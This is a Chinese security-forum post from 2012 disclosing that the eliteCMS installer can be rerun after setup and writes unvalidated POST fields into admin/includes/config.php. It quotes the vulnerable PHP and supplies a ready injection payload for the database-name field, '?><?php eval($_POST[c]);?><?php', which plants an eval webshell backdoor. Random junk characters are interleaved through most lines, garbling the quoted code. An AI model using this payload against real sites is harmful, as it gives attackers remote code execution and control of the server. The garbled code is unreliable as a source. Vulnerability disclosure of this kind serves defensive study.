找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2147|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装* o- D2 k  F% F) d9 _: O( g

8 z! w, [  a! T8 p( m; c另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
! |7 I, V5 l% w我们来看代码:
( G, ?6 f( O  D3 z6 A0 `) X- |
* d2 O6 p+ H: o% t0 F1 ~% t...; U. E) }0 t2 Y* L3 k; l
elseif ($_GET['step'] == "4") {
- y9 v% n' w) f, V; T    $file = "../admin/includes/config.php";# q2 k2 R- n, h
    $write = "<?php\n";- ]% _8 }% D: [; c9 _
    $write .= "/**\n";
1 ?; i3 b& f- y2 @! c. f& M$ d    $write .= "*\n";% g9 C0 @1 I! T
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";8 E6 r% ^7 {" X' L/ e: p
...略.... p9 a$ A5 C& m0 N
    $write .= "*\n";
; K2 J6 g2 f9 T. u8 Q0 H    $write .= "*/\n";
, J4 m( f& n" t  A    $write .= "\n";" {' U% C- W2 e' L2 @2 J* a1 M7 x
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";' N* n1 ?0 h; |5 y! Y0 C; a! g
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";4 C7 R4 `% u7 }
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";8 J; \! \3 k' W3 o; ]
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";. f, D& p6 \. n; l  Q, x
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";, _$ p7 \0 ]4 G- C( X: Y
    $write .= "if (!\$connection) {\n";( i; u" n" N) H
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";- N5 n% c) G4 @& \- x+ G& R7 i
    $write .= "        \n";& |$ P- ^. ^% b. f) z- k  F5 w+ s
    $write .= "} \n";  e5 ^$ Y* d; H4 D2 p- E9 J5 s" ^
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
) {4 p+ n% S. e9 O; b    $write .= "if (!\$db_select) {\n";( s) @% A- ]2 P8 V* }1 v6 z4 N7 k
    $write .= "        die(\"Database select failed\" .mysql_error());\n";+ y- _4 e0 _$ n  j! _; h# p  R
    $write .= "        \n";
, U1 B' y( B* K, e$ o& X    $write .= "} \n";, N/ M+ M/ V7 r
    $write .= "?>\n";8 y: e% k7 O, j, l! N, d

, z" V2 @) x8 C+ [* q; j! H- H    $writer = fopen($file, 'w');3 ^3 Z4 @: Z: T: Y' P& E# J. D1 I
...
2 q4 A/ P' {3 n7 K6 E2 o # f* X9 [/ e! v! k; W+ i
在看代码:/ a: }! [% {5 ^; w4 K4 T3 Y1 M

/ u' R+ D+ X' C4 n4 F3 i6 G$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];% [4 \& Z& @' M2 I4 z
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
( n" }# d. Q# J2 \# k( j1 R$_SESSION['DB_USER'] = $_POST['DB_USER'];; r; j  J# ^0 U7 R0 f5 l
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];8 X/ ]1 p# G3 l
- ^) _1 G- ~/ B
取值未作任何验证) l! J* ?* d  d4 ~
如果将数据库名POST数据:3 j) E- W% y7 T: B  Z1 h" d

! ~  f3 e' q; D6 @1 ~"?><?php eval($_POST[c]);?><?php: g4 Q8 k2 B: ^; ^' B
/ y1 ~- d2 H. h1 c$ ^, Y6 f: z
将导致一句话后门写入/admin/includes/config.php/ Z; C6 s1 E7 Z3 d: L4 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表